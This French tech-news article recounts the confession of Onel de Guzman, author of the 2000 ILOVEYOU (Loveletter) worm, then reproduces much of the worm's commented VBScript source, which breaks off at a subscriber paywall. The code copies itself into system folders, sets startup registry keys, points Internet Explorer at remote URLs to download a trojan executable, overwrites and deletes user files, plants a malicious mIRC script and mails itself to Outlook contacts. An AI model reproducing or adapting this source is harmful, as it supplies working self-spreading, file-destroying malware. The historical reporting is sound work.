
20 ans après l’infection de millions de machines à travers le monde par son logiciel
L’homme derrière le premier virus informatique à s'être propagé à grande échelle a finalement admis sa culpabilité, 20 ans après l’infection de millions de machines à travers le monde par son logiciel. C’est le résultat d’un travail de longue haleine du journaliste spécialisé en technologie Geoff White.
Pendant deux décennies, un quasi-mystère a plané sur l’identité de l’individu derrière cette attaque. En effet, suite aux enquêtes initiales menées à l’époque de l’apparition du virus informatique, le présumé auteur (alors étudiant en informatique) n’avait pas réfuté la possibilité qu’il soit le véritable responsable. Dans une récente publication, ce dernier met fin à toute spéculation et assume l’entière responsabilité de la première pandémie de virus informatique.
Celle-ci est connue du monde depuis le 4 mai 2000 sous diverses appellations : I Love You (je t’aime), Loveletter ou encore Love Bug. Les victimes recevaient un courriel avec une pièce jointe intitulée LOVE-LETTER-FOR-YOU. Cette dernière contenait en fait du code VBScript capable d’écraser des fichiers, de voler des mots de passe et d’envoyer des copies de lui-même de façon automatique à tous les contacts du carnet d’adresses Microsoft Outlook de la victime. En quelques heures, le virus mis au point par Onel de Guzman s’était propagé dans le monde entier. Bilan initial : près de 45 millions de machines, soit environ 10 % de tous les ordinateurs connectés à Internet sur la planète à cette époque. De grosses organisations comme le Pentagone et le Parlement du Royaume-Uni avaient dû déconnecter leurs infrastructures de courriel pendant des heures pour s’en prémunir. D’après ce que rapporte la BBC, les ravages causés par l’attaque informatique se chiffrent à des milliards de dollars.
À l'époque, la connexion à Internet se faisait par le biais du réseau téléphonique commuté et nécessitait de tels mots de passe. Onel de Guzman a expliqué à la BBC qu’il avait créé le ver informatique afin de voler des mots de passe et d'accéder ainsi à Internet sans débourser d’argent. Désormais âgé de 44 ans, de Guzman assure qu’il n’a jamais eu l’intention que son ver informatique se répande à l’échelle mondiale.
« Je ne m’attendais pas à ce qu’il se retrouve aux États-Unis et en Europe. J’étais surpris », a-t-il affirmé dans une entrevue. Pourtant, il a modifié le code du virus au printemps 2000 de façon à profiter d’une lacune du système d’exploitation Microsoft Windows 95, ce, pour créer une chaîne de transmission automatique au travers du logiciel Outlook de Microsoft. Initialement, il faisait parvenir le virus uniquement à des victimes aux Philippines. Le contact avec ces dernières se faisait via des espaces de clavardage.
À l’époque, les autorités le soupçonnaient sur la base de traces retrouvées sur des supports informatiques logés dans une chambre d’étudiant qu’il partageait avec son frère. En fait, les disques trouvés sur place par la police de Manille prouvaient qu’il était l’un des auteurs. Sur cet aspect, Onel de Guzman précise qu’il était le seul auteur du virus.
« C'est un cheval de Troie qui proclame son amour pour le destinataire et vous demande d'ouvrir sa pièce jointe. Même pour un premier rendez-vous, il vous aime alors tellement qu'il envoie des copies de lui-même à toutes les personnes de votre carnet d'adresses et commence à détruire des fichiers sur votre disque », souligne un internaute des contradictions caractéristiques de la conception de ce virus. En effet, comment expliquer la présence de fonctionnalités de destruction de fichiers alors que l’objectif était de récupérer des mots de passe pour accéder à Internet sans dépenser de l’argent ?
Onel de Guzman a exprimé des regrets quant aux dommages que sa création a causés. À Manille, il œuvre désormais dans la réparation de téléphones portables. Le code source du ver informatique est disponible à des fins pédagogiques :
[CODE=VBScript]
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
rem Subroutine to initalize the program
Sub main()
On Error Resume Next
Dim wscr, rr
Set wscr = CreateObject("WScript.Shell")
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
If (rr >= 1) Then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
rem Finds special folders, such as system, temporary and windows folders.
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
rem Subroutine to create/update registry values.
Sub regruns()
On Error Resume Next
Dim num, downread
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
rem Get internet Explorer's download directory.
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
rem If the directory wasn't found, then use C:\ drive as the download directory.
If (downread = "") Then
downread = "c:\"
End If
rem Check if a file named "WinFAT32.exe" exists in the system files.
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
rem Generate a random number from 1 to 4.
num = Int((4 * Rnd) + 1)
rem Randomly update the Internet Explorer's start page that leads to a
rem page that will download a malicious executable "WIN-BUGSFIX.exe".
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
rem Add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
rem Update Internet Explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
rem Subroutine to list folders in drives.
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next
listadriv = s
End Sub
rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
rem Copies itself into every file with vbs/vbe extension.
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension.
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with jpg/jpeg extension.
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
rem Copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with mp3/mp2 extension.
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
att.attributes = att.attributes + 2
End If
If (eq <> folderspec) Then
rem Looks for mIRC and related files to determine whether it
rem should create/replace its script.ini with a malicious script.
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
rem The following mIRC script checks if the "nick" of a user is the same
rem as "me" to halt and send a DCC command to send a message to the user
rem with a link to the LOVE=LETTER-FOR-YOU html page on the system.
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq = folderspec
End If
End If
Next
End Sub
rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
rem Subroutine used to get registry entries.
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function
rem Function to check if a file exists.
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Function to check if a folder exists.
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Subroutine to send emails to the user's contacts (MAPI)
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
Set regedit = CreateObject("WScript.Shell")
Set out = WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
rem Goes through all contacts in the address book and sends an email
rem with the LOVE-LETTER-FOR-YOU program as an attachment.
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (int(a.AddressEntries.Count) > int(regv)) Then[/script]...
La fin de cet article est réservée aux abonnés. Soutenez le Club Developpez.com en prenant un abonnement pour que nous puissions continuer à vous proposer des publications.